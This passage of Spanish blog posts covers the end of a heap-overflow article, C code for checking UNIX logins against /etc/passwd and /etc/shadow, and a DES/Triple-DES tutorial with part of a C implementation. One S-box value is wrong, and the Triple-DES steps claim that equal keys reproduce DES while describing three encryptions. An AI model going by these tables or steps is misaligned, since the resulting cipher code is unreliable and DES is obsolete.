Existen diferentes maneras de aprovechar un heap overflow para explotar un programa. Estas dependen en gran medida de la imaginación del atacante. Lo más común es sobreescribir directamente una variable como hemos hecho en el ejemplo o modificar un puntero para que salte a cierto código controlado (ver buffer overflow). En cualquier caso, como ya se comentaba en el documento sobre buffer overflow, es necesario verificar correctamente la cantidad de datos que se escribe en los buffers.

Cómo hacer login en UNIX con C

2007-06-09T02:34:00.000-07:00

A veces es necesario escribir un programa en C que lea de /etc/passwd y/o /etc/shadow para hacer login. Para este propósito, UNIX ofrece las funciones getpwnam() y getspnam() que permiten acceder a /etc/passwd y /etc/shadow respectivamente. Cada una de estas funciones retorna una estructura con los datos del usuario a partir de su nombre. Las estructuras son las siguientes:



/* Para /etc/passwd usando getpwnam() */

      struct passwd
      {
           char   *pw_name;       /* user name */
           char   *pw_passwd;     /* user password */
           uid_t   pw_uid;        /* user ID */
           gid_t   pw_gid;        /* group ID */
           char   *pw_gecos;      /* real name */
           char   *pw_dir;        /* home directory */
           char   *pw_shell;      /* shell program */
       };



/* Para /etc/shadow usando getspnam() */

       struct spwd
       {
           char *sp_namp;         /* Login name */
           char *sp_pwdp;         /* Encrypted password */
           long  sp_lstchg;       /* Date of last change */
           long  sp_min;          /* Min #days between changes */
           long  sp_max;          /* Max #days between changes */
           long  sp_warn;         /* #days before pwd expires
                                     to warn user to change it */
           long  sp_inact;        /* #days after pwd expires
                                     until account is disabled */
           long  sp_expire;       /* #days since 1970-01-01
                                     until account is disabled */
           unsigned long sp_flag; /* Reserved */
       };

A continuación pego unas funciones de ejemplo que permiten hacer login. Con ellas se puede verificar un par user/pass de forma muy simple.


...
if(auth_is_valid_user(user, pass))
        login_ok = 1;
...

Para las siguientes funciones es necesario incluir las cabeceras pwd.h, shadow.h y crypt.h. Para compilar, es necesaria la librería crypt (ej: gcc test.c -lcrypt).


int auth_check_pass(const char *clear_pass, const char *encrypted_pass)
{
 char *encrypted = crypt(clear_pass, encrypted_pass);

 if (strcmp(encrypted, encrypted_pass) == 0)
    return 1;
 else
    return 0;
}

int auth_is_valid_user(const char *user, const char* pass)
{
 struct passwd *pw = getpwnam(user);
 if(pw==NULL)
    return 0;

 // password in /etc/shadow
 if(strcmp(pw->pw_passwd, "x")==0)
 {
    /* Solo root puede leer /etc/shadow por lo que esta parte no
     funcionara a menos que la ejecute root o el archivo este
     setuidado */

    struct spwd *sp = getspnam(user);
    if(sp==NULL)
       return 0;

    if(auth_check_pass(pass, sp->sp_pwdp))
       return 1;
 }

 // password in /etc/passwd
 else
 {
    if(auth_check_pass(pass, pw->pw_passwd))
       return 1;
 }

 return 0;
}

DES y Triple-DES

2007-06-05T23:59:00.000-07:00

El algoritmo DES está basado en el algoritmo Lucifer, diseñado por IBM a principios de los setenta. Después de algunas modificaciones de la NSA (National Security Agency), fué publicado en 1977 por el NBS (National Bureau of Standards), una sección del departamento de defensa de los EEUU.

DES utiliza claves de 56 bits y un cifrado de bloques de 64 bits.

Esquema general:

El algoritmo DES cifra la información por bloques, es decir, el texto en claro debe ser dividido en bloques de 64 bits que serán cifrados uno tras otro.

DES utiliza claves de 56 bits, aunque estas suelen distribuirse en forma de números de 64 bits. De estos 64 bits, uno de cada ocho, es utilizado como bit de paridad (64-8=56).

A grandes rasgos el algoritmo DES sigue el siguiente esquema:


                     Bloque de entrada 64 bits
                                 |
                               -----
                               | A |
                               -----
                                 |
                         ------------------
                         | 16 iteraciones |
                         ------------------
                                 |
                               -----
                               | B |
                               -----
                                 |
                     Bloque de salida 64 bits

La tabla de permutación A:

Después de recibir un bloque de entrada de 64 bits, el primer paso consiste en aplicar al bloque de entrada una permutación A mediante la tabla siguiente:


                     --------------------------
                     | Tabla de permutación A |
                     --------------------------
                     | 58 50 42 34 26 18 10 2 |
                     | 60 52 44 36 28 20 12 4 |
                     | 62 54 46 38 30 22 14 6 |
                     | 64 56 48 40 32 24 16 8 |
                     | 57 49 41 33 25 17  9 1 |
                     | 59 51 43 35 27 19 11 3 |
                     | 61 53 45 37 29 21 13 5 |
                     | 63 55 47 39 31 23 15 7 |
                     --------------------------

El primer bit de la entrada será colocado en la posición 58, el segundo bit en la posición 50 ...

La tabla de permutación B:

De la misma manera, después de las 16 iteraciones se realiza otra permutación mediante la tabla B:


                     --------------------------
                     | Tabla de permutación B |
                     --------------------------
                     | 40 8 48 16 56 24 64 32 |
                     | 39 7 47 15 55 23 63 31 |
                     | 38 6 46 14 54 22 62 30 |
                     | 37 5 45 13 53 21 61 29 |
                     | 36 4 44 12 52 20 60 28 |
                     | 35 3 43 11 51 19 59 27 |
                     | 34 2 42 10 50 18 58 26 |
                     | 33 1 41  9 49 17 57 25 |
                     --------------------------

El primer bit de la entrada será colocado en la posición 40, el segundo bit en la posición 8 ...

Las 16 iteraciones:

Después de la permutación A y antes de la B, el algoritmo DES realiza 16 iteraciones. Cada iteración realiza lo siguiente:

Los 64 bits de entrada se dividen en dos partes de 32 bits.
La mitad de la derecha (R) se introduce en una función (f) que se describirá más adelante.
Se realiza un XOR entre la salida de la función y la parte izquierda (L).
El resultado (32 bits) pasará a ser la parte derecha de la siguiente iteración, mientras que la parte derecha actual pasará a ser la parte izuierda.

Li+1 = Ri

Ri+1 = Li XOR f(Ri,K)

En la última iteración (i=16) no se realizará el paso 4.

La función F:
Ahora pasamos a describir la función f, veamos un esquema general:




                                D i-1
                                  |
                                  | 32 bits
                                -----
                                | C |
                                -----
                                  | 48 bits
                                  |
                                 XOR --- K (48 bits)
                                  |
                                  |
      --------------------------------------------------------------
      ||||||  ||||||  ||||||  ||||||  ||||||  ||||||  ||||||  ||||||
      ------  ------  ------  ------  ------  ------  ------  ------
      | S1 |  | S2 |  | S3 |  | S4 |  | S5 |  | S6 |  | S7 |  | S8 |
      ------  ------  ------  ------  ------  ------  ------  ------
       ||||    ||||    ||||    ||||    ||||    ||||    ||||    ||||
       ------------------------------------------------------------
                                  | 32 bits
                                  |
                                -----
                                | P |
                                -----
                                  | 32 bits
                                  |

Los 32 bits de la parte derecha entran en la función f. El primer paso consiste en transformar la entrada de 32 bits a 48 bits mediante la tabla C.


                     --------------------------
                     | Tabla transformación C |
                     --------------------------
                     | 32   1   2   3   4   5 |
                     |  4   5   6   7   8   9 |
                     |  8   9  10  11  12  13 |
                     | 12  13  14  15  16  17 |
                     | 16  17  18  19  20  21 |
                     | 20  21  22  23  24  25 |
                     | 24  25  26  27  28  29 |
                     | 28  29  30  31  32   1 |
                     --------------------------

A continuación se realiza un XOR con una subclave de 48 bits. Dado que la clave inicial era de 56 bits (representada como 64 bits) es necesario generar, a partir de esta, subclaves de 48 bits. Más adelante se describe detalladamente el proceso de generación de subclaves.

A continuación los 48 bits se dividen en bloques de 6 bits, cada uno de de los cuales es utilizado como entrada de lo que se conoce como una caja S. Observe el esquema anterior.

Los 6 bits que forman cada bloque b1, b2, b3, b4, b5 y b6, son utilizados para leer de cada caja S. b1 y b6 indican la fila mientras que b2, b3, b4, y b5 indican la columna. Es decir, si utilizamos como entrada 000011, b1b6 -> 01 indican la primera fila y b2b3b4b5 -> 00001 indican la primera columna.

A continuación se muestran las ocho cajas S existentes:


              S-1                      
            ---------------------------------------------------
            | 14 04 13 01 02 15 11 08 03 10 06 12 05 09 00 07 |
            | 00 15 07 04 14 02 13 01 10 06 12 11 09 05 03 08 |
            | 04 01 14 08 13 06 02 11 15 12 09 07 03 10 05 00 |
            | 15 12 08 02 04 09 01 07 05 11 03 14 10 00 06 13 |
            ---------------------------------------------------

              S-2
            ---------------------------------------------------
            | 15 01 08 14 06 11 03 04 09 07 02 13 12 00 05 10 |
            | 03 13 04 07 15 02 08 14 12 00 01 10 06 09 11 05 |
            | 00 14 07 11 10 04 13 01 04 08 12 06 09 03 02 15 |
            | 13 08 10 01 03 15 04 02 11 06 07 12 00 05 14 09 |
            ---------------------------------------------------

              S-3
            ---------------------------------------------------
            | 10 00 09 14 06 03 15 05 01 13 12 07 11 04 02 08 |
            | 13 07 00 09 03 04 06 10 02 08 05 14 12 11 15 01 |
            | 13 06 04 09 08 15 03 00 11 01 02 12 05 10 14 07 |
            | 01 10 13 00 06 09 08 07 04 15 14 03 11 05 02 12 |
            ---------------------------------------------------

              S-4
            ---------------------------------------------------
            | 07 13 14 03 00 06 09 10 01 02 08 05 11 12 04 15 |
            | 13 08 11 05 06 15 00 03 04 07 02 12 01 10 14 09 |
            | 10 06 09 00 12 11 07 13 15 01 03 14 05 02 08 04 |
            | 03 15 00 06 10 01 13 08 09 04 05 11 12 07 02 14 |
            ---------------------------------------------------

              S-5
            ---------------------------------------------------
            | 02 12 04 01 07 10 11 06 08 05 03 15 13 00 14 09 |
            | 14 11 02 12 04 07 13 01 05 00 15 10 03 09 08 06 |
            | 04 02 01 11 10 13 07 08 15 09 12 05 06 03 00 14 |
            | 11 08 12 07 01 14 02 13 06 15 00 09 10 04 05 03 |
            ---------------------------------------------------

              S-6
            ---------------------------------------------------
            | 12 01 10 15 09 02 06 08 00 13 03 04 14 07 05 11 |
            | 10 15 04 02 07 12 09 05 06 01 13 14 00 11 03 08 |
            | 09 14 15 05 02 08 12 03 07 00 04 10 01 13 11 06 |
            | 04 03 02 12 09 05 15 10 11 14 01 07 06 00 08 13 |
           ---------------------------------------------------

              S-7
            ---------------------------------------------------
            | 04 11 02 14 15 00 08 13 03 12 09 07 05 10 06 01 |
            | 13 00 11 07 04 09 01 10 14 03 05 12 02 15 08 06 |
            | 01 04 11 13 12 03 07 14 10 15 06 08 00 05 09 02 |
            | 06 11 13 08 01 04 10 07 09 05 00 15 14 02 03 12 |
            ---------------------------------------------------

              S-8
            ---------------------------------------------------
            | 13 02 08 04 06 15 11 01 10 09 03 14 05 00 12 07 |
            | 01 15 13 08 10 03 07 04 12 05 06 11 00 14 09 02 |
            | 07 11 04 01 09 12 14 02 00 06 10 13 15 03 05 08 |
            | 02 01 14 07 04 10 08 13 15 12 09 00 03 05 06 11 |
            ---------------------------------------------------

Generación de subclaves K:

Este esquema se realiza para cada una de las iteraciones:



                               K (56 bits)
                                   |
                                 -----
                                 | D |
                                 -----
                                   |
                         ---------------------
                         |                   |
                ------------------    ------------------
                | Desplazamiento |    | Desplazamiento |
                ------------------    ------------------
                         |                   |
                         ---------------------
                                   |
                                 -----
                                 | E |
                                 -----
                                   |
                              ki (48 bits)

El primer paso consiste en una permutación mediante la tabla D:


                     ------------------------
                     | Tabla  permutación D |
                     ------------------------
                     | 57 49 41 33 25 17 09 |
                     | 01 58 50 42 34 26 18 |
                     | 10 02 59 51 43 35 27 |
                     | 19 11 03 60 52 44 36 |
                     | 63 55 47 39 31 23 15 |
                     | 07 62 54 46 38 30 22 |
                     | 14 06 61 53 45 37 29 |
                     | 21 13 05 28 20 12 04 |
                     ------------------------

Los 56 bits se dividen en dos partes de 28 bits. Cada una de estas partes rota hacia la izquierda un número X de bits en cada iteración, conforme a la tabla siguiente:


 ----------------------------------------------------------------------
 | Iteración       |  01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 |
 | Desplazamiento  |   1  1  2  2  2  2  2  2  2  2  2  2  2  2  2  1 |
 ----------------------------------------------------------------------

Finalmente, mediante la tabla de compresión E los 56 bits (28+28) del resultado se comprimen formando una subclave de 48 bits (la utilizada en la función f).


                     --------------------------
                     |  Tabla de compresión E |
                     --------------------------
                     | 14  17  11  24  01  05 |
                     | 03  28  15  06  21  10 |
                     | 23  19  12  04  26  08 |
                     | 16  07  27  20  13  02 |
                     | 41  52  31  37  47  55 |
                     | 30  40  51  45  33  48 |
                     | 44  49  39  56  34  53 |
                     | 46  42  50  36  29  32 |
                     --------------------------

Descifrado en DES

Una de las partes positivas de DES es que podemos descifrar los mensajes utilizando el mismo algoritmo que utilizamos para cifrar. La única diferencia consiste en el orden en que se aplican la subclaves, dado que en el descifrado se utilizan en orden inverso. Es decir, primero se utiliza la subclave k16, después la k15 ... k1.

Debilidades del algoritmo DES

Desde la aparición del algoritmo DES han surgido algunas críticas sobr el criptosistema. La principal es la longitud de la clave, de solo 56 bits, que hacen posible los ataques de fuerza bruta.

Por otra parte, la arbitrariedad de las cajas S, podría ser causa de la existencia de una clave maestra que permitiese descifrar cualquier mensaje.

Una forma de solucionar el problema de la longitud de la clave es el uso del cifrado triple, conocido como Triple DES. La clave utilizada por Triple DES es de 128 bits (112 de clave y 16 de paridad) , es decir, dos claves de 64 bits (56 de clave y 8 de paridad) de los utilizados en DES. El motivo de utilizar este de tipo de clave es la compatibilidad con DES. Si la clave utilizada es el conjunto de dos claves DES iguales el resultado será el mismo para DES y para Triple DES.

Triple DES
Para cifrar mediante el algoritmo Triple DES seguiremos los siguientes pasos:

- Dividir la clave de 128 bits en dos partes de 64 bits: k1 y k2.
- Cifrar el texto en claro con k1. El resultado es conocido como ANTIDES.
- Cifrar ANTIDES con k2.
- Cifrar el resultado con k1.
- Si k1=k2 el resultado coincide con un cifrado mediante DES.

Otra forma de utilizar Triple DES es con una clave de 192 bits (168 bits de clave y 24 bits de paridad). En este caso se cifrará primero con k1, a continuación con k2 y finalmente con k3.
Para ser compatible con DES es necesario que k1=k2=k3.

Implementación en C




/* ---- H source file: des.h ---- */

/**
 * \file des.h
 */
#ifndef _DES_H
#define _DES_H

#ifdef __cplusplus
extern "C" {
#endif

/**
 * \brief          DES context structure
 */
typedef struct
{
    unsigned long esk[32];     /*!< DES encryption subkeys */
    unsigned long dsk[32];     /*!< DES decryption subkeys */
}
des_context;

/**
 * \brief          Triple-DES context structure
 */
typedef struct
{
    unsigned long esk[96];     /*!< Triple-DES encryption subkeys */
    unsigned long dsk[96];     /*!< Triple-DES decryption subkeys */
}
des3_context;

/**
 * \brief          DES key schedule (56-bit)
 *
 * \param ctx      DES context to be initialized
 * \param key      8-byte secret key
 */
void des_set_key( des_context *ctx, unsigned char key[8] );

/**
 * \brief          DES block encryption (ECB mode)
 *
 * \param ctx      DES context
 * \param input    plaintext  block
 * \param output   ciphertext block
 */
void des_encrypt( des_context *ctx,
                  unsigned char input[8],
                  unsigned char output[8] );

/**
 * \brief          DES block decryption (ECB mode)
 *
 * \param ctx      DES context
 * \param input    ciphertext block
 * \param output   plaintext  block
 */
void des_decrypt( des_context *ctx,
                  unsigned char input[8],
                  unsigned char output[8] );

/**
 * \brief          DES-CBC buffer encryption
 *
 * \param ctx      DES context
 * \param iv       initialization vector (modified after use)
 * \param input    buffer holding the plaintext
 * \param output   buffer holding the ciphertext
 * \param len      length of the data to be encrypted
 */
void des_cbc_encrypt( des_context *ctx,
                      unsigned char iv[8],
                      unsigned char *input,
                      unsigned char *output,
                      int len );

/**
 * \brief          DES-CBC buffer decryption
 *
 * \param ctx      DES context
 * \param iv       initialization vector (modified after use)
 * \param input    buffer holding the ciphertext
 * \param output   buffer holding the plaintext
 * \param len      length of the data to be decrypted
 */
void des_cbc_decrypt( des_context *ctx,
                      unsigned char iv[8],
                      unsigned char *input,
                      unsigned char *output,
                      int len );

/**
 * \brief          Triple-DES key schedule (112-bit)
 *
 * \param ctx      3DES context to be initialized
 * \param key      16-byte secret key
 */
void des3_set_2keys( des3_context *ctx, unsigned char key[16] );

/**
 * \brief          Triple-DES key schedule (168-bit)
 *
 * \param ctx      3DES context to be initialized
 * \param key      24-byte secret key
 */
void des3_set_3keys( des3_context *ctx, unsigned char key[24] );

/**
 * \brief          Triple-DES block encryption (ECB mode)
 *
 * \param ctx      3DES context
 * \param input    plaintext  block
 * \param output   ciphertext block
 */
void des3_encrypt( des3_context *ctx,
                   unsigned char input[8],
                   unsigned char output[8] );

/**
 * \brief          Triple-DES block decryption (ECB mode)
 *
 * \param ctx      3DES context
 * \param input    ciphertext block
 * \param output   plaintext  block
 */
void des3_decrypt( des3_context *ctx,
                   unsigned char input[8],
                   unsigned char output[8] );

/**
 * \brief          3DES-CBC buffer encryption
 *
 * \param ctx      3DES context
 * \param iv       initialization vector (modified after use)
 * \param input    buffer holding the plaintext
 * \param output   buffer holding the ciphertext
 * \param len      length of the data to be encrypted
 */
void des3_cbc_encrypt( des3_context *ctx,
                       unsigned char iv[8],
                       unsigned char *input,
                       unsigned char *output,
                       int len );

/**
 * \brief          3DES-CBC buffer decryption
 *
 * \param ctx      3DES context
 * \param iv       initialization vector (modified after use)
 * \param input    buffer holding the ciphertext
 * \param output   buffer holding the plaintext
 * \param len      length of the data to be decrypted
 */
void des3_cbc_decrypt( des3_context *ctx,
                       unsigned char iv[8],
                       unsigned char *input,
                       unsigned char *output,
                       int len );

/*
 * \brief          Checkup routine
 *
 * \return         0 if successful, or 1 if the test failed
 */
int des_self_test( void );

#ifdef __cplusplus
}
#endif

#endif /* des.h */








/* ---- C source file: des.c ---- */

/*
 *  FIPS-46-3 compliant Triple-DES implementation
 *
 *  Copyright (C) 2003-2006  Christophe Devine
 *
 *  This library is free software; you can redistribute it and/or
 *  modify it under the terms of the GNU Lesser General Public
 *  License, version 2.1 as published by the Free Software Foundation.
 *
 *  This library is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 *  Lesser General Public License for more details.
 *
 *  You should have received a copy of the GNU Lesser General Public
 *  License along with this library; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
 *  MA  02110-1301  USA
 */
/*
 *  DES, on which TDES is based, was originally designed by IBM in
 *  1974 and adopted as a standard by NIST (formerly NBS).
 *
 *  http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf
 */


#ifndef _CRT_SECURE_NO_DEPRECATE
#define _CRT_SECURE_NO_DEPRECATE 1
#endif

#include 

#include "des.h"

/*
 * 32-bit integer manipulation macros (big endian)
 */
#ifndef GET_UINT32_BE
#define GET_UINT32_BE(n,b,i)                            \
{                                                       \
    (n) = ( (unsigned long) (b)[(i)    ] << 24 )        \
        | ( (unsigned long) (b)[(i) + 1] << 16 )        \
        | ( (unsigned long) (b)[(i) + 2] <<  8 )        \
        | ( (unsigned long) (b)[(i) + 3]       );       \
}
#endif
#ifndef PUT_UINT32_BE
#define PUT_UINT32_BE(n,b,i)                            \
{                                                       \
    (b)[(i)    ] = (unsigned char) ( (n) >> 24 );       \
    (b)[(i) + 1] = (unsigned char) ( (n) >> 16 );       \
    (b)[(i) + 2] = (unsigned char) ( (n) >>  8 );       \
    (b)[(i) + 3] = (unsigned char) ( (n)       );       \
}
#endif

/*
 * Expanded DES S-boxes
 */
static const unsigned long SB1[64] =
{
    0x01010400, 0x00000000, 0x00010000, 0x01010404,
    0x01010004, 0x00010404, 0x00000004, 0x00010000,
    0x00000400, 0x01010400, 0x01010404, 0x00000400,
    0x01000404, 0x01010004, 0x01000000, 0x00000004,
    0x00000404, 0x01000400, 0x01000400, 0x00010400,
    0x00010400, 0x01010000, 0x01010000, 0x01000404,
    0x00010004, 0x01000004, 0x01000004, 0x00010004,
    0x00000000, 0x00000404, 0x00010404, 0x01000000,
    0x00010000, 0x01010404, 0x00000004, 0x01010000,
    0x01010400, 0x01000000, 0x01000000, 0x00000400,
    0x01010004, 0x00010000, 0x00010400, 0x01000004,
    0x00000400, 0x00000004, 0x01000404, 0x00010404,
    0x01010404, 0x00010004, 0x01010000, 0x01000404,
    0x01000004, 0x00000404, 0x00010404, 0x01010400,
    0x00000404, 0x01000400, 0x01000400, 0x00000000,
    0x00010004, 0x00010400, 0x00000000, 0x01010004
};

static const unsigned long SB2[64] =
{
    0x80108020, 0x80008000, 0x00008000, 0x00108020,
    0x00100000, 0x00000020, 0x80100020, 0x80008020,
    0x80000020, 0x80108020, 0x80108000, 0x80000000,
    0x80008000, 0x00100000, 0x00000020, 0x80100020,
    0x00108000, 0x00100020, 0x80008020, 0x00000000,
    0x80000000, 0x00008000, 0x00108020, 0x80100000,
    0x00100020, 0x80000020, 0x00000000, 0x00108000,
    0x00008020, 0x80108000, 0x80100000, 0x00008020,
    0x00000000, 0x00108020, 0x80100020, 0x00100000,
    0x80008020, 0x80100000, 0x80108000, 0x00008000,
    0x80100000, 0x80008000, 0x00000020, 0x80108020,
    0x00108020, 0x00000020, 0x00008000, 0x80000000,
    0x00008020, 0x80108000, 0x00100000, 0x80000020,
    0x00100020, 0x80008020, 0x80000020, 0x00100020,
    0x00108000, 0x00000000, 0x80008000, 0x00008020,
    0x80000000, 0x80100020, 0x80108020, 0x00108000
};

static const unsigned long SB3[64] =
{
    0x00000208, 0x08020200, 0x00000000, 0x08020008,
    0x08000200, 0x00000000, 0x00020208, 0x08000200,
    0x00020008, 0x08000008, 0x08000008, 0x00020000,
    0x08020208, 0x00020008, 0x08020000, 0x00000208,
    0x08000000, 0x00000008, 0x08020200, 0x00000200,
    0x00020200, 0x08020000, 0x08020008, 0x00020208,
    0x08000208, 0x00020200, 0x00020000, 0x08000208,
    0x00000008, 0x08020208, 0x00000200, 0x08000000,
    0x08020200, 0x08000000, 0x00020008, 0x00000208,
    0x00020000, 0x08020200, 0x08000200, 0x00000000,
    0x00000200, 0x00020008, 0x08020208, 0x08000200,
    0x08000008, 0x00000200, 0x00000000, 0x08020008,
    0x08000208, 0x00020000, 0x08000000, 0x08020208,
    0x00000008, 0x00020208, 0x00020200, 0x08000008,
    0x08020000, 0x08000208, 0x00000208, 0x08020000,
    0x00020208, 0x00000008, 0x08020008, 0x00020200
};

static const unsigned long SB4[64] =
{
    0x00802001, 0x00002081, 0x00002081, 0x00000080,
    0x00802080, 0x00800081, 0x00800001, 0x00002001,
    0x00000000, 0x00802000, 0x00802000, 0x00802081,
    0x00000081, 0x00000000, 0x00800080, 0x00800001,
    0x00000001, 0x00002000, 0x00800000, 0x00802001,
    0x00000080, 0x00800000, 0x00002001, 0x00002080,
    0x00800081, 0x00000001, 0x00002080, 0x00800080,
    0x00002000, 0x00802080, 0x00802081, 0x00000081,
    0x00800080, 0x00800001, 0x00802000, 0x00802081,
    0x00000081, 0x00000000, 0x00000000, 0x00802000,
    0x00002080, 0x00800080, 0x00800081, 0x00000001,
    0x00802001, 0x00002081, 0x00002081, 0x00000080,
    0x00802081, 0x00000081, 0x00000001, 0x00002000,
    0x00800001, 0x00002001, 0x00802080, 0x00800081,
    0x00002001, 0x00002080, 0x00800000, 0x00802001,
    0x00000080, 0x00800000, 0x00002000, 0x00802080
};

static const unsigned long SB5[64] =
{
    0x00000100, 0x02080100, 0x02080000, 0x42000100,
    0x00080000, 0x00000100, 0x40000000, 0x02080000,
    0x40080100, 0x00080000, 0x02000100, 0x40080100,
    0x42000100, 0x42080000, 0x00080100, 0x40000000,
    0x02000000, 0x40080000, 0x40080000, 0x00000000,
    0x40000100, 0x42080100, 0x42080100, 0x02000100,
    0x42080000, 0x40000100, 0x00000000, 0x42000000,
    0x02080100, 0x02000000, 0x42000000, 0x00080100,
    0x00080000, 0x42000100, 0x00000100, 0x02000000,
    0x40000000, 0x02080000, 0x42000100, 0x40080100,
    0x02000100, 0x40000000, 0x42080000, 0x02080100,
    0x40080100, 0x00000100, 0x02000000, 0x42080000,
    0x42080100, 0x00080100, 0x42000000, 0x42080100,
    0x02080000, 0x00000000, 0x40080000, 0x42000000,
    0x00080100, 0x02000100, 0x40000100, 0x00080000,
    0x00000000, 0x40080000, 0x02080100, 0x40000100
};

static const unsigned long SB6[64] =
{
    0x20000010, 0x20400000, 0x00004000, 0x20404010,
    0x20400000, 0x00000010, 0x20404010, 0x00400000,
    0x20004000, 0x00404010, 0x00400000, 0x20000010,
    0x00400010, 0x20004000, 0x20000000, 0x00004010,
    0x00000000, 0x00400010, 0x20004010, 0x00004000,
    0x00404000, 0x20004010, 0x00000010, 0x20400010,
    0x20400010, 0x00000000, 0x00404010, 0x20404000,
    0x00004010, 0x00404000, 0x20404000, 0x20000000,
    0x20004000, 0x00000010, 0x20400010, 0x00404000,
    0x20404010, 0x00400000, 0x00004010, 0x20000010,
    0x00400000, 0x20004000, 0x20000000, 0x00004010,
    0x20000010, 0x20404010, 0x00404000, 0x20400000,
    0x00404010, 0x20404000, 0x00000000, 0x20400010,
    0x00000010, 0x00004000, 0x20400000, 0x00404010,
    0x00004000, 0x00400010, 0x20004010, 0x00000000,
    0x20404000, 0x20000000, 0x00400010, 0x20004010
};

static const unsigned long SB7[64] =
{
    0x00200000, 0x04200002, 0x04000802, 0x00000000,
    0x00000800, 0x04000802, 0x00200802, 0x04200800,
    0x04200802, 0x00200000, 0x00000000, 0x04000002,
    0x00000002, 0x04000000, 0x04200002, 0x00000802,
    0x04000800, 0x00200802, 0x00200002, 0x04000800,
    0x04000002, 0x04200000, 0x04200800, 0x00200002,
    0x04200000, 0x00000800, 0x00000802, 0x04200802,
    0x00200800, 0x00000002, 0x04000000, 0x00200800,
    0x04000000, 0x00200800, 0x00200000, 0x04000802,
    0x04000802, 0x04200002, 0x04200002, 0x00000002,
    0x00200002, 0x04000000, 0x04000800, 0x00200000,
    0x04200800, 0x00000802, 0x00200802, 0x04200800,
    0x00000802, 0x04000002, 0x04200802, 0x04200000,
    0x00200800, 0x00000000, 0x00000002, 0x04200802,
    0x00000000, 0x00200802, 0x04200000, 0x00000800,
    0x04000002, 0x04000800, 0x00000800, 0x00200002
};

static const unsigned long SB8[64] =
{
    0x10001040, 0x00001000, 0x00040000, 0x10041040,
    0x10000000, 0x10001040, 0x00000040, 0x10000000,
    0x00040040, 0x10040000, 0x10041040, 0x00041000,
    0x10041000, 0x00041040, 0x00001000, 0x00000040,
    0x10040000, 0x10000040, 0x10001000, 0x00001040,
    0x00041000, 0x00040040, 0x10040040, 0x10041000,
    0x00001040, 0x00000000, 0x00000000, 0x10040040,
    0x10000040, 0x10001000, 0x00041040, 0x00040000,
    0x00041040, 0x00040000, 0x10041000, 0x00001000,
    0x00000040, 0x10040040, 0x00001000, 0x00041040,
    0x10001000, 0x00000040, 0x10000040, 0x10040000,
    0x10040040, 0x10000000, 0x00040000, 0x10001040,
    0x00000000, 0x10041040, 0x00040040, 0x10000040,
    0x10040000, 0x10001000, 0x10001040, 0x00000000,
    0x10041040, 0x00041000, 0x00041000, 0x00001040,
    0x00001040, 0x00040040, 0x10000000, 0x10041000
};

/*
 * PC1: left and right halves bit-swap
 */
static const unsigned long LHs[16] =
{
    0x00000000, 0x00000001, 0x00000100, 0x00000101,
    0x00010000, 0x00010001, 0x00010100, 0x00010101,
    0x01000000, 0x01000001, 0x01000100, 0x01000101,
    0x01010000, 0x01010001, 0x01010100, 0x01010101
};

static const unsigned long RHs[16] =
{
    0x00000000, 0x01000000, 0x00010000, 0x01010000,
    0x00000100, 0x01000100, 0x00010100, 0x01010100,
    0x00000001, 0x01000001, 0x00010001, 0x01010001,
    0x00000101, 0x01000101, 0x00010101, 0x01010101,
};

/*
 * Initial Permutation macro
 */
#define DES_IP(X,Y)                                             \
{                                                               \
    T = ((X >>  4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T <<  4);   \
    T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16);   \
    T = ((Y >>  2) ^ X) & 0x33333333; X ^= T; Y ^= (T <<  2);   \
    T = ((Y >>  8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T <<  8);   \
    Y = ((Y << 1) | (Y >> 31)) & 0xFFFFFFFF;                    \
    T = (X ^ Y) & 0xAAAAAAAA; Y ^= T; X ^= T;                   \
    X = ((X << 1) | (X >> 31)) & 0xFFFFFFFF;                    \
}

/*
 * Final Permutation macro
 */
#define DES_FP(X,Y)                                             \
{                                                               \
    X = ((X << 31) | (X >> 1)) & 0xFFFFFFFF;                    \
    T = (X ^ Y) & 0xAAAAAAAA; X ^= T; Y ^= T;                   \
    Y = ((Y << 31) | (Y >> 1)) & 0xFFFFFFFF;                    \
    T = ((Y >>  8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T <<  8);   \
    T = ((Y >>  2) ^ X) & 0x33333333; X ^= T; Y ^= (T <<  2);   \
    T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16);   \
    T = ((X >>  4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T <<  4);   \
}

/*
 * DES round macro
 */
#define DES_ROUND(X,Y)                          \
{                                               \
    T = *SK++ ^ X;                              \
    Y ^= SB8[ (T      ) & 0x3F ] ^              \
         SB6[ (T >>  8) & 0x3F ] ^              \
         SB4[ (T >> 16) & 0x3F ] ^              \
         SB2[ (T >> 24) & 0x3F ];               \
                                                \
    T = *SK++ ^ ((X << 28) | (X >> 4));         \
    Y ^= SB7[ (T      ) & 0x3F ] ^              \
         SB5[ (T >>  8) & 0x3F ] ^              \
         SB3[ (T >> 16) & 0x3F ] ^              \
         SB1[ (T >> 24) & 0x3F ];               \
}

static void des_main_ks( unsigned long SK[32], unsigned char key[8] )
{
    int i;
    unsigned long X, Y, T;

    GET_UINT32_BE( X, key, 0 );
    GET_UINT32_BE( Y, key, 4 );

    /*
     * Permuted Choice 1
     */
    T =  ((Y >>  4) ^ X) & 0x0F0F0F0F;  X ^= T; Y ^= (T <<  4);
    T =  ((Y      ) ^ X) & 0x10101010;  X ^= T; Y ^= (T      );

    X =   (LHs[ (X      ) & 0xF] << 3) | (LHs[ (X >>  8) & 0xF ] << 2)
        | (LHs[ (X >> 16) & 0xF] << 1) | (LHs[ (X >> 24) & 0xF ]     )
        | (LHs[ (X >>  5) & 0xF] << 7) | (LHs[ (X >> 13) & 0xF ] << 6)
        | (LHs[ (X >> 21) & 0xF] << 5) | (LHs[ (X >> 29) & 0xF ] << 4);

    Y =   (RHs[ (Y >>  1) & 0xF] << 3) | (RHs[ (Y >>  9) & 0xF ] << 2)
        | (RHs[ (Y >> 17) & 0xF] << 1) | (RHs[ (Y >> 25) & 0xF ]     )
